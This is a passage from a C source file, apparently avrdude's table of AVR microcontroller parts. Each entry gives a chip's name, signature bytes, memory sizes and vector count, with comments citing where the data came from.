0x0200, 4, 0x0100, 0x0400, 3, 1, 22}, // atdf, avr-gcc 12.2.0, avrdude - {"ATmega168", 99, F_AVR8, {0x1E, 0x94, 0x06}, 0, 0x04000, 0x080, 4, 0x0100, 0, 0x0200, 4, 0x0100, 0x0400, 3, 1, 26}, // atdf, avr-gcc 12.2.0, avrdude - {"ATmega168A", 100, F_AVR8, {0x1E, 0x94, 0x06}, 0, 0x04000, 0x080, 4, 0x0100, 0, 0x0200, 4, 0x0100, 0x0400, 3, 1, 26}, // atdf, avr-gcc 12.2.0, avrdude - {"ATmega168P", 101, F_AVR8, {0x1E, 0x94, 0x0B}, 0, 0x04000, 0x080, 4, 0x0100, 0, 0x0200, 4, 0x0100, 0x0400, 3, 1, 26}, // atdf, avr-gcc 12.2.0, avrdude - {"ATmega168PA", 102, F_AVR8, {0x1E, 0x94, 0x0B}, 0, 0x04000, 0x080, 4, 0x0100, 0, 0x0200, 4, 0x0100, 0x0400, 3, 1, 26}, // atdf, avr-gcc 12.2.0, avrdude - {"ATmega168PB", 103, F_AVR8, {0x1E, 0x94, 0x15}, 0, 0x04000, 0x080, 4, 0x0100, 0, 0x0200, 4, 0x0100, 0x0400, 3, 1, 27}, // atdf, avr-gcc 7.3.0, avrdude - {"ATmega169", 104, F_AVR8, {0x1E, 0x94, 0x05}, 0, 0x04000, 0x080, 4, 0x0100, 0, 0x0200, 4, 0x0100, 0x0400, 3, 1, 23}, // avr-gcc 12.2.0, avrdude, boot size (manual) - {"ATmega169A", 105, F_AVR8, {0x1E, 0x94, 0x11}, 0, 0x04000, 0x080, 4, 0x0100, 0, 0x0200, 4, 0x0100, 0x0400, 3, 1, 23}, // atdf, avr-gcc 12.2.0, avrdude - {"ATmega169P", 106, F_AVR8, {0x1E, 0x94, 0x05}, 0, 0x04000, 0x080, 4, 0x0100, 0, 0x0200, 4, 0x0100, 0x0400, 3, 1, 23}, // atdf, avr-gcc 12.2.0, avrdude - {"ATmega169PA", 107, F_AVR8, {0x1E, 0x94, 0x05}, 0, 0x04000, 0x080, 4, 0x0100, 0, 0x0200, 4, 0x0100, 0x0400, 3, 1, 23}, // atdf, avr-gcc 12.2.0, avrdude - {"ATmega256RFR2", 108, F_AVR8, {0x1E, 0xA8, 0x02}, 0, 0x40000, 0x100, 4, 0x0400, 0, 0x2000, 8, 0x0200, 0x8000, 3, 1, 77}, // atdf, avr-gcc 12.2.0, avrdude - {"ATmega323", 109, F_AVR8, {0x1E, 0x95, 0x01}, 0, 0x08000, 0x080, 4, 0x0200, -1, -1, -1, 0x0060, 0x0800, 2, 1, 21}, // avr-gcc 12.2.0, boot size (manual) - {"ATmega324A", 110, F_AVR8, {0x1E, 0x95, 0x15}, 0, 0x08000, 0x080, 4, 0x0200, 0, 0x0400, 4, 0x0100, 0x0800, 3, 1, 31}, // atdf, avr-gcc 12.2.0, avrdude - {"ATmega324P", 111, F_AVR8, {0x1E, 0x95, 0x08}, 0, 0x08000, 0x080, 4, 0x0200, 0, 0x0400, 4, 0x0100, 0x0800, 3, 1, 31}, // atdf, avr-gcc 12.2.0, avrdude - {"ATmega324PA", 112, F_AVR8, {0x1E, 0x95, 0x11}, 0, 0x08000, 0x080, 4, 0x0200, 0, 0x0400, 4, 0x0100, 0x0800, 3, 1, 31}, // atdf, avr-gcc 12.2.0, avrdude - {"ATmega324PB", 113, F_AVR8, {0x1E, 0x95, 0x17}, 0, 0x08000, 0x080, 4, 0x0200, 0, 0x0400, 4, 0x0100, 0x0800, 3, 1, 51}, // atdf, avrdude - {"ATmega325", 114, F_AVR8, {0x1E, 0x95, 0x05}, 0, 0x08000, 0x080, 4, 0x0200, 0, 0x0400, 4, 0x0100, 0x0800, 3, 1, 22}, // atdf, avr-gcc 12.2.0, avrdude - {"ATmega325A", 115, F_AVR8, {0x1E, 0x95, 0x05}, 0, 0x08000, 0x080, 4, 0x0200, 0, 0x0400, 4, 0x0100, 0x0800, 3, 1, 22}, // atdf, avr-gcc 12.2.0, avrdude - {"ATmega325P", 116, F_AVR8, {0x1E, 0x95, 0x0D}, 0, 0x08000, 0x080, 4, 0x0200, 0, 0x0400, 4, 0x0100, 0x0800, 3, 1, 22}, // atdf, avr-gcc 12.2.0, avrdude - {"ATmega325PA", 117, F_AVR8, {0x1E, 0x95, 0x0D}, 0, 0x08000, 0x080, 4, 0x0200, 0, 0x0400, 4, 0x0100, 0x0800, 3, 1, 22}, // atdf, avr-gcc 12.2.0, avrdude - {"ATmega328", 118, F_AVR8, {0x1E, 0x95, 0x14}, 0, 0x08000, 0x080, 4, 0x0200, 0, 0x0400, 4, 0x0100, 0x0800, 3, 1, 26}, // atdf, avr-gcc 12.2.0, avrdude - {"ATmega328P", 119, F_AVR8, {0x1E, 0x95, 0x0F}, 0, 0x08000, 0x080, 4, 0x0200, 0, 0x0400, 4, 0x0100, 0x0800, 3, 1, 26}, // atdf, avr-gcc 12.2.0, avrdude - {"ATmega328PB", 120, F_AVR8, {0x1E, 0x95, 0x16}, 0, 0x08000, 0x080, 4, 0x0200, 0, 0x0400, 4, 0x0100, 0x0800, 3, 1, 45}, // atdf, avr-gcc 7.3.0, avrdude - {"ATmega329", 121, F_AVR8, {0x1E, 0x95, 0x03}, 0, 0x08000, 0x080, 4, 0x0200, 0, 0x0400, 4, 0x0100, 0x0800, 3, 1, 23}, // atdf, avr-gcc 12.2.0, avrdude - {"ATmega329A", 122, F_AVR8, {0x1E, 0x95, 0x03}, 0, 0x08000, 0x080, 4, 0x0200, 0, 0x0400, 4, 0x0100, 0x0800, 3, 1, 23}, // atdf, avr-gcc 12.2.0, avrdude - {"ATmega329P", 123, F_AVR8, {0x1E, 0x95, 0x0B}, 0, 0x08000, 0x080, 4, 0x0200, 0, 0x0400, 4, 0x0100, 0x0800, 3, 1, 23}, // atdf, avr-gcc 12.2.0, avrdude - {"ATmega329PA", 124, F_AVR8, {0x1E, 0x95, 0x0B}, 0, 0x08000, 0x080, 4, 0x0200, 0, 0x0400, 4, 0x0100, 0x0800, 3, 1, 23}, // atdf, avr-gcc 12.2.0, avrdude - {"ATmega406", 125, F_AVR8, {0x1E, 0x95, 0x07}, 0, 0x0a000, 0x080, 4, 0x0200, 0, 0x0200, 4, 0x0100, 0x0800, 2, 1, 23}, // atdf, avr-gcc 12.2.0, avrdude - {"ATmega640", 126, F_AVR8, {0x1E, 0x96, 0x08}, 0, 0x10000, 0x100, 4, 0x0400, 0, 0x1000, 8, 0x0200, 0x2000, 3, 1, 57}, // atdf, avr-gcc 12.2.0, avrdude - {"ATmega644", 127, F_AVR8, {0x1E, 0x96, 0x09}, 0, 0x10000, 0x100, 4, 0x0400, 0, 0x0800, 8, 0x0100, 0x1000, 3, 1, 28}, // atdf, avr-gcc 12.2.0, avrdude - {"ATmega644A", 128, F_AVR8, {0x1E, 0x96, 0x09}, 0, 0x10000, 0x100, 4, 0x0400, 0, 0x0800, 8, 0x0100, 0x1000, 3, 1, 31}, // atdf, avr-gcc 12.2.0, avrdude - {"ATmega644P", 129, F_AVR8, {0x1E, 0x96, 0x0A}, 0, 0x10000, 0x100, 4, 0x0400, 0, 0x0800, 8, 0x0100, 0x1000, 3, 1, 31}, // atdf, avr-gcc 12.2.0, avrdude - {"ATmega644PA", 130, F_AVR8, {0x1E, 0x96, 0x0A}, 0, 0x10000, 0x100, 4, 0x0400, 0, 0x0800, 8, 0x0100, 0x1000, 3, 1, 31}, // atdf, avr-gcc 12.2.0, avrdude - {"ATmega644RFR2", 131, F_AVR8, {0x1E, 0xA6, 0x03}, 0, 0x10000, 0x100, 4, 0x0400, 0, 0x0800, 8, 0x0200, 0x2000, 3, 1, 77}, // atdf, avr-gcc 12.2.0, avrdude - {"ATmega645", 132, F_AVR8, {0x1E, 0x96, 0x05}, 0, 0x10000, 0x100, 4, 0x0400, 0, 0x0800, 8, 0x0100, 0x1000, 3, 1, 22}, // atdf, avr-gcc 12.2.0, avrdude - {"ATmega645A", 133, F_AVR8, {0x1E, 0x96, 0x05}, 0, 0x10000, 0x100, 4, 0x0400, 0, 0x0800, 8, 0x0100, 0x1000, 3, 1, 22}, // atdf, avr-gcc 12.2.0, avrdude - {"ATmega645P", 134, F_AVR8, {0x1E, 0x96, 0x0D}, 0, 0x10000, 0x100, 4, 0x0400, 0, 0x0800, 8, 0x0100, 0x1000, 3, 1, 22}, // atdf, avr-gcc 12.2.0, avrdude - {"ATmega649", 135, F_AVR8, {0x1E, 0x96, 0x03}, 0, 0x10000, 0x100, 4, 0x0400, 0, 0x0800, 8, 0x0100, 0x1000, 3, 1, 23}, // atdf, avr-gcc 12.2.0, avrdude - {"ATmega649A", 136, F_AVR8, {0x1E, 0x96, 0x03}, 0, 0x10000, 0x100, 4, 0x0400, 0, 0x0800, 8, 0x0100, 0x1000, 3, 1, 23}, // atdf, avr-gcc 12.2.0, avrdude - {"ATmega649P", 137, F_AVR8, {0x1E, 0x96, 0x0B}, 0, 0x10000, 0x100, 4, 0x0400, 0, 0x0800, 8, 0x0100, 0x1000, 3, 1, 23}, // atdf, avr-gcc 12.2.0, avrdude - {"ATmega1280", 138, F_AVR8, {0x1E, 0x97, 0x03}, 0, 0x20000, 0x100, 4, 0x0400, 0, 0x1000, 8, 0x0200, 0x2000, 3, 1, 57}, // atdf, avr-gcc 12.2.0, avrdude - {"ATmega1281", 139, F_AVR8, {0x1E, 0x97, 0x04}, 0, 0x20000, 0x100, 4, 0x0400, 0, 0x1000, 8, 0x0200, 0x2000, 3, 1, 57}, // atdf, avr-gcc 12.2.0, avrdude - {"ATmega1284", 140, F_AVR8, {0x1E, 0x97, 0x06}, 0, 0x20000, 0x100, 4, 0x0400, 0, 0x1000, 8, 0x0100, 0x4000, 3, 1, 35}, // atdf, avr-gcc 12.2.0, avrdude - {"ATmega1284P", 141, F_AVR8, {0x1E, 0x97, 0x05}, 0, 0x20000, 0x100, 4, 0x0400, 0, 0x1000, 8, 0x0100, 0x4000, 3, 1, 35}, // atdf, avr-gcc 12.2.0, avrdude - {"ATmega1284RFR2", 142, F_AVR8, {0x1E, 0xA7, 0x03}, 0, 0x20000, 0x100, 4, 0x0400, 0, 0x1000, 8, 0x0200, 0x4000, 3, 1, 77}, // atdf, avr-gcc 12.2.0, avrdude - {"ATmega2560", 143, F_AVR8, {0x1E, 0x98, 0x01}, 0, 0x40000, 0x100, 4, 0x0400, 0, 0x1000, 8, 0x0200, 0x2000, 3, 1, 57}, // atdf, avr-gcc 12.2.0, avrdude - {"ATmega2561", 144, F_AVR8, {0x1E, 0x98, 0x02}, 0, 0x40000, 0x100, 4, 0x0400, 0, 0x1000, 8, 0x0200, 0x2000, 3, 1, 57}, // atdf, avr-gcc 12.2.0, avrdude - {"ATmega2564RFR2", 145, F_AVR8, {0x1E, 0xA8, 0x03}, 0, 0x40000, 0x100, 4, 0x0400, 0, 0x2000, 8, 0x0200, 0x8000, 3, 1, 77}, // atdf, avr-gcc 12.2.0, avrdude - {"ATmega3250", 146, F_AVR8, {0x1E, 0x95, 0x06}, 0, 0x08000, 0x080, 4, 0x0200, 0, 0x0400, 4, 0x0100, 0x0800, 3, 1, 25}, // atdf, avr-gcc 12.2.0, avrdude - {"ATmega3250A", 147, F_AVR8, {0x1E, 0x95, 0x06}, 0, 0x08000, 0x080, 4, 0x0200, 0, 0x0400, 4, 0x0100, 0x0800, 3, 1, 25}, // atdf, avr-gcc 12.2.0, avrdude - {"ATmega3250P", 148, F_AVR8, {0x1E, 0x95, 0x0E}, 0, 0x08000, 0x080, 4, 0x0200, 0, 0x0400, 4, 0x0100, 0x0800, 3, 1, 25}, // atdf, avr-gcc 12.2.0, avrdude - {"ATmega3250PA", 149, F_AVR8, {0x1E, 0x95, 0x0E}, 0, 0x08000, 0x080, 4, 0x0200, 0, 0x0400, 4, 0x0100, 0x0800, 3, 1, 25}, // atdf, avr-gcc 12.2.0, avrdude - {"ATmega3290", 150, F_AVR8, {0x1E, 0x95, 0x04}, 0, 0x08000, 0x080, 4, 0x0200, 0, 0x0400, 4, 0x0100, 0x0800, 3, 1, 25}, // atdf, avr-gcc 12.2.0, avrdude - {"ATmega3290A", 151, F_AVR8, {0x1E, 0x95, 0x04}, 0, 0x08000, 0x080, 4, 0x0200, 0, 0x0400, 4, 0x0100, 0x0800, 3, 1, 25}, // atdf, avr-gcc 12.2.0, avrdude - {"ATmega3290P", 152, F_AVR8, {0x1E, 0x95, 0x0C}, 0, 0x08000, 0x080, 4, 0x0200, 0, 0x0400, 4, 0x0100, 0x0800, 3, 1, 25}, // atdf, avr-gcc 12.2.0, avrdude - {"ATmega3290PA", 153, F_AVR8, {0x1E, 0x95, 0x0C}, 0, 0x08000, 0x080, 4, 0x0200, 0, 0x0400, 4, 0x0100, 0x0800, 3, 1, 25}, // atdf, avr-gcc 12.2.0, avrdude - {"ATmega6450", 154, F_AVR8, {0x1E, 0x96, 0x06}, 0, 0x10000, 0x100, 4, 0x0400, 0, 0x0800, 8, 0x0100, 0x1000, 3, 1, 25}, // atdf, avr-gcc 12.2.0, avrdude - {"ATmega6450A", 155, F_AVR8, {0x1E, 0x96, 0x06}, 0, 0x10000, 0x100, 4, 0x0400, 0, 0x0800, 8, 0x0100, 0x1000, 3, 1, 25}, // atdf, avr-gcc 12.2.0, avrdude - {"ATmega6450P", 156, F_AVR8, {0x1E, 0x96, 0x0E}, 0, 0x10000, 0x100, 4, 0x0400, 0, 0x0800, 8, 0x0100, 0x1000, 3, 1, 25}, // atdf, avr-gcc 12.2.0, avrdude - {"ATmega6490", 157, F_AVR8, {0x1E, 0x96, 0x04}, 0, 0x10000, 0x100, 4, 0x0400, 0, 0x0800, 8, 0x0100, 0x1000, 3, 1, 25}, // atdf, avr-gcc 12.2.0, avrdude - {"ATmega6490A", 158, F_AVR8, {0x1E, 0x96, 0x04}, 0, 0x10000, 0x100, 4, 0x0400, 0, 0x0800, 8, 0x0100, 0x1000, 3, 1, 25}, // atdf, avr-gcc 12.2.0, avrdude - {"ATmega6490P", 159, F_AVR8, {0x1E, 0x96, 0x0C}, 0, 0x10000, 0x100, 4, 0x0400, 0, 0x0800, 8, 0x0100, 0x1000, 3, 1, 25}, // atdf, avr-gcc 12.2.0, avrdude - {"ATmega8515", 160, F_AVR8, {0x1E, 0x93, 0x06}, 0, 0x02000, 0x040, 4, 0x0100, 0, 0x0200, 4, 0x0060, 0x0200, 2, 1, 17}, // atdf, avr-gcc 12.2.0, avrdude - {"ATmega8535", 161, F_AVR8, {0x1E, 0x93, 0x08}, 0, 0x02000, 0x040, 4, 0x0100, 0, 0x0200, 4, 0x0060, 0x0200, 2, 1, 21}, // atdf, avr-gcc 12.2.0, avrdude - {"AT43USB320", 162, F_AVR8, {0xff, -1, -1}, 0, 0x10000, -1, -1, -1, -1, -1, -1, 0x0060, 0x0200, -1, -1, 0}, // avr-gcc 12.2.0 - {"AT43USB355", 163, F_AVR8, {0xff, -1, -1}, 0, 0x06000, -1, -1, -1, -1, -1, -1, 0x0060, 0x0400, -1, -1, 0}, // avr-gcc 12.2.0 - {"AT76C711", 164, F_AVR8, {0xff, -1, -1}, 0, 0x04000, -1, -1, -1, -1, -1, -1, 0x0060, 0x07a0, -1, -1, 0}, // avr-gcc 12.2.0 - {"AT86RF401", 165, F_AVR8, {0x1E, 0x91, 0x81}, 0, 0x00800, -1, -1, -1, -1, -1, -1, 0x0060, 0x0080, 0, 1, 3}, // avr-gcc 12.2.0 - {"AT90PWM1", 166, F_AVR8, {0x1E, 0x93, 0x83}, 0, 0x02000, 0x040, 4, 0x0100, 0, 0x0200, 4, 0x0100, 0x0200, 3, 1, 32}, // atdf, avr-gcc 12.2.0 - {"AT90PWM2", 167, F_AVR8, {0x1E, 0x93, 0x81}, 0, 0x02000, 0x040, 4, 0x0100, 0, 0x0200, 4, 0x0100, 0x0200, 3, 1, 32}, // avr-gcc 12.2.0, avrdude, boot size (manual) - {"AT90PWM2B", 168, F_AVR8, {0x1E, 0x93, 0x83}, 0, 0x02000, 0x040, 4, 0x0100, 0, 0x0200, 4, 0x0100, 0x0200, 3, 1, 32}, // atdf, avr-gcc 12.2.0, avrdude - {"AT90PWM3", 169, F_AVR8, {0x1E, 0x93, 0x81}, 0, 0x02000, 0x040, 4, 0x0100, 0, 0x0200, 4, 0x0100, 0x0200, 3, 1, 32}, // atdf, avr-gcc 12.2.0, avrdude - {"AT90PWM3B", 170, F_AVR8, {0x1E, 0x93, 0x83}, 0, 0x02000, 0x040, 4, 0x0100, 0, 0x0200, 4, 0x0100, 0x0200, 3, 1, 32}, // atdf, avr-gcc 12.2.0, avrdude - {"AT90CAN32", 171, F_AVR8, {0x1E, 0x95, 0x81}, 0, 0x08000, 0x100, 4, 0x0400, 0, 0x0400, 8, 0x0100, 0x0800, 3, 1, 37}, // atdf, avr-gcc 12.2.0, avrdude - {"AT90CAN64", 172, F_AVR8, {0x1E, 0x96, 0x81}, 0, 0x10000, 0x100, 4, 0x0400, 0, 0x0800, 8, 0x0100, 0x1000, 3, 1, 37}, // atdf, avr-gcc 12.2.0, avrdude - {"AT90PWM81", 173, F_AVR8, {0x1E, 0x93, 0x88}, 0, 0x02000, 0x040, 4, 0x0100, 0, 0x0200, 4, 0x0100, 0x0100, 3, 1, 20}, // atdf, avr-gcc 12.2.0 - {"AT90USB82", 174, F_AVR8, {0x1E, 0x93, 0x82}, 0, 0x02000, 0x080, 4, 0x0200, 0, 0x0200, 4, 0x0100, 0x0200, 3, 1, 29}, // atdf, avr-gcc 12.2.0, avrdude - {"AT90SCR100", 175, F_AVR8, {0x1E, 0x96, 0xC1}, 0, 0x10000, 0x100, 4, 0x0200, -1, -1, -1, 0x0100, 0x1000, 3, 1, 38}, // avr-gcc 12.2.0, boot size (manual) - {"AT90CAN128", 176, F_AVR8, {0x1E, 0x97, 0x81}, 0, 0x20000, 0x100, 4, 0x0400, 0, 0x1000, 8, 0x0100, 0x1000, 3, 1, 37}, // atdf, avr-gcc 12.2.0, avrdude - {"AT90PWM161", 177, F_AVR8, {0x1E, 0x94, 0x8B}, 0, 0x04000, 0x080, 4, 0x0100, 0, 0x0200, 4, 0x0100, 0x0400, 3, 1, 20}, // atdf, avr-gcc 12.2.0 - {"AT90USB162", 178, F_AVR8, {0x1E, 0x94, 0x82}, 0, 0x04000, 0x080, 4, 0x0200, 0, 0x0200, 4, 0x0100, 0x0200, 3, 1, 29}, // atdf, avr-gcc 12.2.0, avrdude - {"AT90PWM216", 179, F_AVR8, {0x1E, 0x94, 0x83}, 0, 0x04000, 0x080, 4, 0x0200, 0, 0x0200, 4, 0x0100, 0x0400, 3, 1, 32}, // atdf, avr-gcc 12.2.0, avrdude - {"AT90PWM316", 180, F_AVR8, {0x1E, 0x94, 0x83}, 0, 0x04000, 0x080, 4, 0x0200, 0, 0x0200, 4, 0x0100, 0x0400, 3, 1, 32}, // atdf, avr-gcc 12.2.0, avrdude - {"AT90USB646", 181, F_AVR8, {0x1E, 0x96, 0x82}, 0, 0x10000, 0x100, 4, 0x0400, 0, 0x0800, 8, 0x0100, 0x1000, 3, 1, 38}, // atdf, avr-gcc 12.2.0, avrdude - {"AT90USB647", 182, F_AVR8, {0x1E, 0x96, 0x82}, 0, 0x10000, 0x100, 4, 0x0400, 0, 0x0800, 8, 0x0100, 0x1000, 3, 1, 38}, // atdf, avr-gcc 12.2.0, avrdude - {"AT90S1200", 183, F_AVR8, {0x1E, 0x90, 0x01}, 0, 0x00400, 0x001, 0, 0, 0, 0x0040, 1, 0x0060, 0x0020, 1, 1, 4}, // avr-gcc 12.2.0, avrdude, boot size (manual) - {"AT90USB1286", 184, F_AVR8, {0x1E, 0x97, 0x82}, 0, 0x20000, 0x100, 4, 0x0400, 0, 0x1000, 8, 0x0100, 0x2000, 3, 1, 38}, // atdf, avr-gcc 12.2.0, avrdude - {"AT90USB1287", 185, F_AVR8, {0x1E, 0x97, 0x82}, 0, 0x20000, 0x100, 4, 0x0400, 0, 0x1000, 8, 0x0100, 0x2000, 3, 1, 38}, // atdf, avr-gcc 12.2.0, avrdude - {"AT90S2313", 186, F_AVR8, {0x1E, 0x91, 0x01}, 0, 0x00800, 0x001, 0, 0, 0, 0x0080, 1, 0x0060, 0x0080, 1, 1, 11}, // avr-gcc 12.2.0, avrdude, boot size (manual) - {"AT90S2323", 187, F_AVR8, {0x1E, 0x91, 0x02}, 0, 0x00800, -1, 0, 0, -1, -1, -1, 0x0060, 0x0080, 1, 1, 3}, // avr-gcc 12.2.0, boot size (manual) - {"AT90S2333", 188, F_AVR8, {0x1E, 0x91, 0x05}, 0, 0x00800, 0x001, 0, 0, 0, 0x0080, 1, 0x0060, 0x0080, -1, -1, 14}, // avr-gcc 12.2.0, avrdude, boot size (manual) - {"AT90S2343", 189, F_AVR8, {0x1E, 0x91, 0x03}, 0, 0x00800, 0x001, 0, 0, 0, 0x0080, 1, 0x0060, 0x0080, 1, 1, 3}, // avr-gcc 12.2.0, avrdude, boot size (manual) - {"AT90S4414", 190, F_AVR8, {0x1E, 0x92, 0x01}, 0, 0x01000, 0x001, 0, 0, 0, 0x0100, 1, 0x0060, 0x0100, 1, 1, 13}, // avr-gcc 12.2.0, avrdude, boot size (manual) - {"AT90S4433", 191, F_AVR8, {0x1E, 0x92, 0x03}, 0, 0x01000, 0x001, 0, 0, 0, 0x0100, 1, 0x0060, 0x0080, 1, 1, 14}, // avr-gcc 12.2.0, avrdude, boot size (manual) - {"AT90S4434", 192, F_AVR8, {0x1E, 0x92, 0x02}, 0, 0x01000, 0x001, 0, 0, 0, 0x0100, 1, 0x0060, 0x0100, 1, 1, 17}, // avr-gcc 12.2.0, avrdude, boot size (manual) - {"AT90S8515", 193, F_AVR8, {0x1E, 0x93, 0x01}, 0, 0x02000, 0x001, 0, 0, 0, 0x0200, 1, 0x0060, 0x0200, 1, 1, 13}, // avr-gcc 12.2.0, avrdude, boot size (manual) - {"AT90C8534", 194, F_AVR8, {0xff, -1, -1}, 0, 0x02000, -1, -1, -1, -1, -1, -1, 0x0060, 0x0100, -1, -1, 0}, // avr-gcc 12.2.0 - {"AT90S8535", 195, F_AVR8, {0x1E, 0x93, 0x03}, 0, 0x02000, 0x001, 0, 0, 0, 0x0200, 1, 0x0060, 0x0200, 1, 1, 17}, // avr-gcc 12.2.0, avrdude, boot size (manual) - {"AT94K", 196, F_AVR8, {0xff, -1, -1}, 0, 0x08000, -1, -1, -1, -1, -1, -1, 0x0060, 0x0fa0, -1, -1, 0}, // avr-gcc 12.2.0 - {"ATA5272", 197, F_AVR8, {0x1E, 0x93, 0x87}, 0, 0x02000, 0x080, 0, 0, 0, 0x0200, 4, 0x0100, 0x0200, 3, 1, 37}, // atdf, avr-gcc 12.2.0 - {"ATA5505", 198, F_AVR8, {0x1E, 0x94, 0x87}, 0, 0x04000, 0x080, 0, 0, 0, 0x0200, 4, 0x0100, 0x0200, 3, 1, 20}, // atdf, avr-gcc 12.2.0 - {"ATA5700M322", 199, F_AVR8, {0x1E, 0x95, 0x67}, 0x08000, 0x08000, 0x040, 0, 0, 0, 0x0880, 16, 0x0200, 0x0400, 1, 1, 51}, // atdf - {"ATA5702M322", 200, F_AVR8, {0x1E, 0x95, 0x69}, 0x08000, 0x08000, 0x040, 0, 0, 0, 0x0880, 16, 0x0200, 0x0400, 1, 1, 51}, // atdf, avr-gcc 12.2.0 - {"ATA5781", 201, F_AVR8, {0x1E, 0x95, 0x64}, -1, -1, -1, 0, 0, 0, 0x0400, 16, 0x0200, 0x0400, 1, 1, 42}, // atdf - {"ATA5782", 202, F_AVR8, {0x1E, 0x95, 0x65}, 0x08000, 0x05000, 0x040, 1, 0x5000, 0, 0x0400, 16, 0x0200, 0x0400, 1, 1, 42}, // atdf, avr-gcc 12.2.0 - {"ATA5783", 203, F_AVR8, {0x1E, 0x95, 0x66}, -1, -1, -1, 0, 0, 0, 0x0400, 16, 0x0200, 0x0400, 1, 1, 42}, // atdf - {"ATA5787", 204, F_AVR8, {0x1E, 0x94, 0x6C}, 0x08000, 0x05200, 0x040, 0, 0, 0, 0x0400, 16, 0x0200, 0x0800, 1, 1, 44}, // atdf - {"ATA5790", 205, F_AVR8, {0x1E, 0x94, 0x61}, 0, 0x04000, 0x080, 1, 0x0800, 0, 0x0800, 16, 0x0100, 0x0200, 1, 1, 30}, // atdf, avr-gcc 12.2.0 - {"ATA5790N", 206, F_AVR8, {0x1E, 0x94, 0x62}, 0, 0x04000, 0x080, 1, 0x0800, 0, 0x0800, 16, 0x0100, 0x0200, 1, 1, 31}, // atdf, avr-gcc 12.2.0 - {"ATA5791", 207, F_AVR8, {0x1E, 0x94, 0x62}, 0, 0x04000, 0x080, 1, 0x0800, 0, 0x0800, 16, 0x0100, 0x0200, 1, 1, 31}, // atdf, avr-gcc 7.3.0 - {"ATA5795", 208, F_AVR8, {0x1E, 0x93, 0x61}, 0, 0x02000, 0x040, 1, 0x0800, 0, 0x0800, 16, 0x0100, 0x0200, 1, 1, 23}, // atdf, avr-gcc 12.2.0 - {"ATA5831", 209, F_AVR8, {0x1E, 0x95, 0x61}, 0x08000, 0x05000, 0x040, 1, 0x5000, 0, 0x0400, 16, 0x0200, 0x0400, 1, 1, 42}, // atdf, avr-gcc 12.2.0 - {"ATA5832", 210, F_AVR8, {0x1E, 0x95, 0x62}, -1, -1, -1, 0, 0, 0, 0x0400, 16, 0x0200, 0x0400, 1, 1, 42}, // atdf - {"ATA5833", 211, F_AVR8, {0x1E, 0x95, 0x63}, -1, -1, -1, 0, 0, 0, 0x0400, 16, 0x0200, 0x0400, 1, 1, 42}, // atdf - {"ATA5835", 212, F_AVR8, {0x1E, 0x94, 0x6B}, 0x08000, 0x05200, 0x040, 0, 0, 0, 0x0400, 16, 0x0200, 0x0800, 1, 1, 44}, // atdf - {"ATA6285", 213, F_AVR8, {0x1E, 0x93, 0x82}, 0, 0x02000, 0x040, 4, 0x0100, 0, 0x0140, 4, 0x0100, 0x0200, 2, 1, 27}, // atdf, avr-gcc 12.2.0 - {"ATA6286", 214, F_AVR8, {0x1E, 0x93, 0x82}, 0, 0x02000, 0x040, 4, 0x0100, 0, 0x0140, 4, 0x0100, 0x0200, 2, 1, 27}, // atdf, avr-gcc 12.2.0 - {"ATA6289", 215, F_AVR8, {0x1E, 0x93, 0x82}, 0, 0x02000, 0x040, 4, 0x0100, -1, -1, -1, 0x0100, 0x0200, 2, 1, 27}, // avr-gcc 12.2.0, boot size (manual) - {"ATA6612C", 216, F_AVR8, {0x1E, 0x93, 0x0A}, 0, 0x02000, 0x040, 4, 0x0100, 0, 0x0200, 4, 0x0100, 0x0400, 3, 1, 26}, // atdf, avr-gcc 12.2.0 - {"ATA6613C", 217, F_AVR8, {0x1E, 0x94, 0x06}, 0, 0x04000, 0x080, 4, 0x0100, 0, 0x0200, 4, 0x0100, 0x0400, 3, 1, 26}, // atdf, avr-gcc 12.2.0 - {"ATA6614Q", 218, F_AVR8, {0x1E, 0x95, 0x0F}, 0, 0x08000, 0x080, 4, 0x0200, 0, 0x0400, 4, 0x0100, 0x0800, 3, 1, 26}, // atdf, avr-gcc 12.2.0 - {"ATA6616C", 219, F_AVR8, {0x1E, 0x93, 0x87}, 0, 0x02000, 0x080, 0, 0, 0, 0x0200, 4, 0x0100, 0x0200, 3, 1, 20}, // atdf, avr-gcc 12.2.0 - {"ATA6617C", 220, F_AVR8, {0x1E, 0x94, 0x87}, 0, 0x04000, 0x080, 0, 0, 0, 0x0200, 4, 0x0100, 0x0200, 3, 1, 20}, // atdf, avr-gcc 12.2.0 - {"ATA8210", 221, F_AVR8, {0x1E, 0x95, 0x65}, 0x08000, 0x05000, 0x040, 1, 0x5000, 0, 0x0400, 16, 0x0200, 0x0400, 1, 1, 42}, // atdf, avr-gcc 7.3.0 - {"ATA8215", 222, F_AVR8, {0x1E, 0x95, 0x64}, -1, -1, -1, 0, 0, 0, 0x0400, 16, 0x0200, 0x0400, 1, 1, 42}, // atdf - {"ATA8510", 223, F_AVR8, {0x1E, 0x95, 0x61}, 0x08000, 0x05000, 0x040, 1, 0x5000, 0, 0x0400, 16, 0x0200, 0x0400, 1, 1, 42}, // atdf, avr-gcc 7.3.0 - {"ATA8515", 224, F_AVR8, {0x1E, 0x95, 0x63}, -1, -1, -1, 0, 0, 0, 0x0400, 16, 0x0200, 0x0400, 1, 1, 42}, // atdf - {"ATA664251", 225, F_AVR8, {0x1E, 0x94, 0x87}, 0, 0x04000, 0x080, 0, 0, 0, 0x0200, 4, 0x0100, 0x0200, 3, 1, 20}, // atdf, avr-gcc 12.2.0 - {"M3000", 226, F_AVR8, {0xff, -1, -1}, 0, 0x10000, -1, -1, -1, -1, -1, -1, 0x1000, 0x1000, -1, -1, 0}, // avr-gcc 12.2.0 - {"LGT8F88P", 227, F_AVR8, {0x1E, 0x93, 0x0F}, 0, 0x02000, 0x040, 4, 0x0100, 0, 0x0200, 4, 0x0100, 0x0400, 3, 1, 26}, // avrdude, from ATmega88 - {"LGT8F168P", 228, F_AVR8, {0x1E, 0x94, 0x0B}, 0, 0x04000, 0x080, 4, 0x0100, 0, 0x0200, 4, 0x0100, 0x0400, 3, 1, 26}, // avrdude, from ATmega168P - {"LGT8F328P", 229, F_AVR8, {0x1E, 0x95, 0x0F}, 0, 0x08000, 0x080, 4, 0x0200, 0, 0x0400, 4, 0x0100, 0x0800, 3, 1, 26}, // avrdude, from ATmega328P - - {"ATxmega8E5", 230, F_XMEGA, {0x1E, 0x93, 0x41}, 0, 0x02800, 0x080, 1, 0x0800, 0, 0x0200, 32, 0x2000, 0x0400, 7, 1, 43}, // atdf, avr-gcc 12.2.0, avrdude - {"ATxmega16A4", 231, F_XMEGA, {0x1E, 0x94, 0x41}, 0, 0x05000, 0x100, 1, 0x1000, 